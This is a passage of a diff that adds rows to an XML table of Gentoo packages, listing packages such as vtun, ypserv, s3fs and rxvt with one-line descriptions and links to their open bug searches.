+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23telnet-bsd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/tipcutils">net-misc/tipcutils</uri></ti>
+<ti>Utilities for TIPC (Transparent Inter-Process Communication)</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tipcutils">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/tn5250">net-misc/tn5250</uri></ti>
+<ti>Telnet client for the IBM AS/400 that emulates 5250 terminals and printers.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tn5250">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/twitux">net-misc/twitux</uri></ti>
+<ti>A Twitter client for the Gnome desktop</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23twitux">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/unix2tcp">net-misc/unix2tcp</uri></ti>
+<ti>a connection forwarder that converts Unix sockets into TCP sockets</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23unix2tcp">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/urlview">net-misc/urlview</uri></ti>
+<ti>extracts urls from text and will send them to another app</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23urlview">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/vidalia">net-misc/vidalia</uri></ti>
+<ti>Qt 4 front-end for Tor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23vidalia">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/vncrec">net-misc/vncrec</uri></ti>
+<ti>VNC session recorder and player</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23vncrec">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/vncsnapshot">net-misc/vncsnapshot</uri></ti>
+<ti>A command-line tool for taking JPEG snapshots of VNC servers</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23vncsnapshot">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/vtun">net-misc/vtun</uri></ti>
+<ti>Create virtual tunnels over TCP/IP networks with traffic shaping, encryption, and compression.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23vtun">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/wakeonlan">net-misc/wakeonlan</uri></ti>
+<ti>Client for Wake-On-LAN</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23wakeonlan">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/ytalk">net-misc/ytalk</uri></ti>
+<ti>Multi-user replacement for UNIX talk</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ytalk">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/zebedee">net-misc/zebedee</uri></ti>
+<ti>A simple, free, secure TCP and UDP tunnel program</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23zebedee">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/zssh">net-misc/zssh</uri></ti>
+<ti>An ssh wrapper enabling zmodem up/download in ssh</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23zssh">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-nds/ldapvi">net-nds/ldapvi</uri></ti>
+<ti>Manage LDAP entries with a text editor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ldapvi">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-nds/yp-tools">net-nds/yp-tools</uri></ti>
+<ti>Network Information Service tools</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23yp-tools">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-nds/ypbind">net-nds/ypbind</uri></ti>
+<ti>Multithreaded NIS bind service (ypbind-mt)</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ypbind">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-nds/ypserv">net-nds/ypserv</uri></ti>
+<ti>Network Information Service server</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ypserv">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-news/amphetadesk">net-news/amphetadesk</uri></ti>
+<ti>AmphetaDesk is a free syndicated news aggregator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23amphetadesk">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-nntp/nget">net-nntp/nget</uri></ti>
+<ti>Network utility to retrieve files from an NNTP news server</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23nget">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-nntp/ubh">net-nntp/ubh</uri></ti>
+<ti>The Usenet Binary Harvester</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ubh">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-print/lprng">net-print/lprng</uri></ti>
+<ti>Extended implementation of the Berkeley LPR print spooler</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23lprng">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-wireless/chillispot">net-wireless/chillispot</uri></ti>
+<ti>open source captive portal or wireless LAN access point controller</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23chillispot">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-wireless/zd1211-firmware">net-wireless/zd1211-firmware</uri></ti>
+<ti>Firmware for ZyDAS ZD1211 USB-WLAN devices supported by the zd1211rw driver</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23zd1211-firmware">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sci-calculators/grpn">sci-calculators/grpn</uri></ti>
+<ti>a graphical reverse polish notatiton (RPN) calculator for GTK+-1.2</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23grpn">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sci-libs/ta-lib">sci-libs/ta-lib</uri></ti>
+<ti>Technical Analysis Library for analyzing financial markets trends</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ta-lib">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sci-misc/netlogo-bin">sci-misc/netlogo-bin</uri></ti>
+<ti>NetLogo cross-platform multi-agent programmable modeling environment</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23netlogo-bin">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-apps/biosdisk">sys-apps/biosdisk</uri></ti>
+<ti>A script that creates floppy boot images to flash Dell BIOSes</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23biosdisk">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-apps/blktool">sys-apps/blktool</uri></ti>
+<ti>query and/or change settings of a block device</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23blktool">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-apps/checkservice">sys-apps/checkservice</uri></ti>
+<ti>Check the status of services running on local/remote machines</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23checkservice">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-apps/cinit">sys-apps/cinit</uri></ti>
+<ti>a fast, small and simple init with support for profiles</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cinit">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-apps/cobalt-panel-utils">sys-apps/cobalt-panel-utils</uri></ti>
+<ti>LCD and LED panel utilities for the Sun Cobalts</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cobalt-panel-utils">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-apps/conspy">sys-apps/conspy</uri></ti>
+<ti>Remote control for virtual consoles</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23conspy">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-apps/dchroot">sys-apps/dchroot</uri></ti>
+<ti>Utility for managing chroots for non-root users</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23dchroot">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-apps/fxload">sys-apps/fxload</uri></ti>
+<ti>USB firmware uploader</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23fxload">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-apps/hexdump-esr">sys-apps/hexdump-esr</uri></ti>
+<ti>Eric Raymond's hex dumper</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23hexdump-esr">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-apps/hwdata-redhat">sys-apps/hwdata-redhat</uri></ti>
+<ti>Hardware identification and configuration data</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23hwdata-redhat">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-apps/kudzu">sys-apps/kudzu</uri></ti>
+<ti>Red Hat Hardware detection tools</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23kudzu">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-apps/lomoco">sys-apps/lomoco</uri></ti>
+<ti>Lomoco can configure vendor-specific options on Logitech USB mice.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23lomoco">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-apps/noexec">sys-apps/noexec</uri></ti>
+<ti>a package for preventing processes from using exec system calls</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23noexec">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-apps/raidutils">sys-apps/raidutils</uri></ti>
+<ti>Utilities to manage i2o/dtp RAID controllers.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23raidutils">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-apps/restartd">sys-apps/restartd</uri></ti>
+<ti>A daemon for checking your running and not running processes</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23restartd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-apps/usb_modeswitch">sys-apps/usb_modeswitch</uri></ti>
+<ti>USB_ModeSwitch is a tool for controlling 'flip flop' (multiple devices) USB gear like UMTS sticks</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23usb_modeswitch">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-apps/yum">sys-apps/yum</uri></ti>
+<ti>automatic updater and package installer/remover for rpm systems</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23yum">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-auth/libnss-cache">sys-auth/libnss-cache</uri></ti>
+<ti>libnss-cache is a library that serves nss lookups.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libnss-cache">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-auth/nss-mdns">sys-auth/nss-mdns</uri></ti>
+<ti>Name Service Switch module for Multicast DNS</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23nss-mdns">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-block/cec">sys-block/cec</uri></ti>
+<ti>Coraid Ethernet Console client</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cec">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-block/ms-sys">sys-block/ms-sys</uri></ti>
+<ti>a command-line program for writing Microsoft compatible boot records.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ms-sys">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-block/unieject">sys-block/unieject</uri></ti>
+<ti>Multiplatform command to eject and load CD-Rom drives</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23unieject">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-boot/mbr">sys-boot/mbr</uri></ti>
+<ti>A replacement master boot record for IBM-PC compatible computers</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mbr">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-boot/netboot">sys-boot/netboot</uri></ti>
+<ti>netbooting utility</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23netboot">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-boot/psoload">sys-boot/psoload</uri></ti>
+<ti>Load home brewed code onto the GameCube with Phantasy Star Online</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23psoload">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-cluster/tentakel">sys-cluster/tentakel</uri></ti>
+<ti>Execute commands on many hosts in parallel</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tentakel">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-cluster/wulfware">sys-cluster/wulfware</uri></ti>
+<ti>Applications to monitor on a beowulf- or GRID-style clusters.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23wulfware">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-devel/ac-archive">sys-devel/ac-archive</uri></ti>
+<ti>The Autoconf Macro Archive</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ac-archive">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-devel/dev86">sys-devel/dev86</uri></ti>
+<ti>Bruce's C compiler - Simple C compiler to generate 8086 code</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23dev86">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-devel/omni">sys-devel/omni</uri></ti>
+<ti>The Omni OpenMP Compiler</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23omni">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-fs/cdfs">sys-fs/cdfs</uri></ti>
+<ti>A file system for Linux systems that 'exports' all tracks and boot images on a CD as normal files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cdfs">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-fs/copyfs">sys-fs/copyfs</uri></ti>
+<ti>fuse-based filesystem for maintaining configuration files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23copyfs">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-fs/ddrescue">sys-fs/ddrescue</uri></ti>
+<ti>Copies data from one file or block device to another with read-error recovery</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ddrescue">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-fs/flickrfs">sys-fs/flickrfs</uri></ti>
+<ti>Flickrfs is a virtual filesystem based upon FUSE that provides easy access to flickr.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23flickrfs">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-fs/fuseiso">sys-fs/fuseiso</uri></ti>
+<ti>Fuse module to mount ISO9660</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23fuseiso">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-fs/redirfs">sys-fs/redirfs</uri></ti>
+<ti>The RedirFS or redirecting file system is a new layer between virtual file system switch (VFS) and file system drivers.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23redirfs">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-fs/s3backer">sys-fs/s3backer</uri></ti>
+<ti>FUSE-based single file backing store via Amazon S3</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23s3backer">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-fs/s3fs">sys-fs/s3fs</uri></ti>
+<ti>Amazon mounting S3 via fuse</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23s3fs">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-libs/system-config-base">sys-libs/system-config-base</uri></ti>
+<ti>system-config-* layout package</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23system-config-base">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-power/suspend">sys-power/suspend</uri></ti>
+<ti>Userspace Software Suspend and S2Ram</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23suspend">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-process/incron">sys-process/incron</uri></ti>
+<ti>inotify based cron daemon</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23incron">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/sys-process/nmon">sys-process/nmon</uri></ti>
+<ti>Nigel's performance MONitor for CPU, memory, network, disks, etc...</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23nmon">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/www-apps/browser-config">www-apps/browser-config</uri></ti>
+<ti>A lightweight modular configurable http url handler/browser launcher</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23browser-config">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/www-apps/swish-e">www-apps/swish-e</uri></ti>
+<ti>Simple Web Indexing System for Humans - Enhanced</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23swish-e">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/www-client/downman">www-client/downman</uri></ti>
+<ti>Suite of programs to download files.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23downman">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/www-client/fetch">www-client/fetch</uri></ti>
+<ti>Fetch is a simple, fast, and flexible HTTP download tool built on the HTTP Fetcher library.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23fetch">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/www-client/netrik">www-client/netrik</uri></ti>
+<ti>A text based web browser with no ssl support.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23netrik">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/www-client/w3mir">www-client/w3mir</uri></ti>
+<ti>w3mir is a all purpose HTTP copying and mirroring tool</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23w3mir">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/www-misc/bookmarksync">www-misc/bookmarksync</uri></ti>
+<ti>bookmarksync synchronizes various browser bookmark files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23bookmarksync">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/www-misc/visitors">www-misc/visitors</uri></ti>
+<ti>Fast web log analyzer</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23visitors">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/www-misc/wsmake">www-misc/wsmake</uri></ti>
+<ti>Website Pre-processor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23wsmake">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/www-servers/boa">www-servers/boa</uri></ti>
+<ti>A very small and very fast http daemon.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23boa">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-apps/xwarppointer">x11-apps/xwarppointer</uri></ti>
+<ti>Program to move the mouse cursor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23xwarppointer">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-libs/dnd">x11-libs/dnd</uri></ti>
+<ti>OffiX' Drag'n'drop library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23dnd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-libs/libPropList">x11-libs/libPropList</uri></ti>
+<ti>libPropList</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libPropList">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-libs/libsvg-cairo">x11-libs/libsvg-cairo</uri></ti>
+<ti>Render SVG content using cairo</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libsvg-cairo">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-libs/neXtaw">x11-libs/neXtaw</uri></ti>
+<ti>Athena Widgets with N*XTSTEP appearance</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23neXtaw">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-libs/scw">x11-libs/scw</uri></ti>
+<ti>A GTK+ widget set specifically designed for chat programs.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23scw">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-libs/xforms">x11-libs/xforms</uri></ti>
+<ti>A graphical user interface toolkit for X</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23xforms">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-misc/blockdpy">x11-misc/blockdpy</uri></ti>
+<ti>Tool to block access via the physical display while x11vnc is running.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23blockdpy">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-misc/denu">x11-misc/denu</uri></ti>
+<ti>A menu generation program for fluxbox, waimea, openbox, icewm, gnome and kde.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23denu">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-misc/fraqtive">x11-misc/fraqtive</uri></ti>
+<ti>Fraqtive is a KDE-based program for interactively drawing Mandelbrot and Julia fractals</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23fraqtive">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-misc/genmenu">x11-misc/genmenu</uri></ti>
+<ti>menu generator for *box, WindowMaker, and Enlightenment</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23genmenu">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-misc/glunarclock">x11-misc/glunarclock</uri></ti>
+<ti>Gnome Moon Phase Panel Applet</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23glunarclock">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-misc/i855crt">x11-misc/i855crt</uri></ti>
+<ti>Intel Montara 855GM CRT out auxiliary driver</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23i855crt">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-misc/periodic-calendar">x11-misc/periodic-calendar</uri></ti>
+<ti>A GUI utility which assists in menstrual cycle tracking and fertility periods prediction.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23periodic-calendar">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-misc/touchcal">x11-misc/touchcal</uri></ti>
+<ti>Touchscreen calibration utility</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23touchcal">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-misc/xcalib">x11-misc/xcalib</uri></ti>
+<ti>xcalib is a tiny monitor calibration loader for X.org</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23xcalib">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-plugins/gkrellmms">x11-plugins/gkrellmms</uri></ti>
+<ti>A sweet plugin to control Audacious from GKrellM2</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23gkrellmms">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-plugins/wmstickynotes">x11-plugins/wmstickynotes</uri></ti>
+<ti>A dockapp for keeping small notes around on the desktop.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23wmstickynotes">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-terms/aterm">x11-terms/aterm</uri></ti>
+<ti>A terminal emulator with transparency support as well as rxvt backwards compatibility</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23aterm">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-terms/multi-aterm">x11-terms/multi-aterm</uri></ti>
+<ti>Terminal emulator with transparency support as well as rxvt backwards compatibility with tab support</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23multi-aterm">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-terms/root-tail">x11-terms/root-tail</uri></ti>
+<ti>Terminal to display (multiple) log files on the root window</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23root-tail">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-terms/rxvt">x11-terms/rxvt</uri></ti>
+<ti>rxvt -- nice small x11 terminal</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rxvt">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-terms/sakura">x11-terms/sakura</uri></ti>
+<ti>sakura is a terminal emulator based on GTK and VTE</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23sakura">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-terms/wterm">x11-terms/wterm</uri></ti>
+<ti>A fork of rxvt patched for fast transparency and a NeXT scrollbar</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23wterm">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-terms/xvt">x11-terms/xvt</uri></ti>
+<ti>A tiny vt100 terminal emulator for X</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23xvt">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/x11-themes/fvwm-crystal">x11-themes/fvwm-crystal</uri></ti>
+<ti>Configurable and full featured theme for FVWM, with lots of transparency</ti>
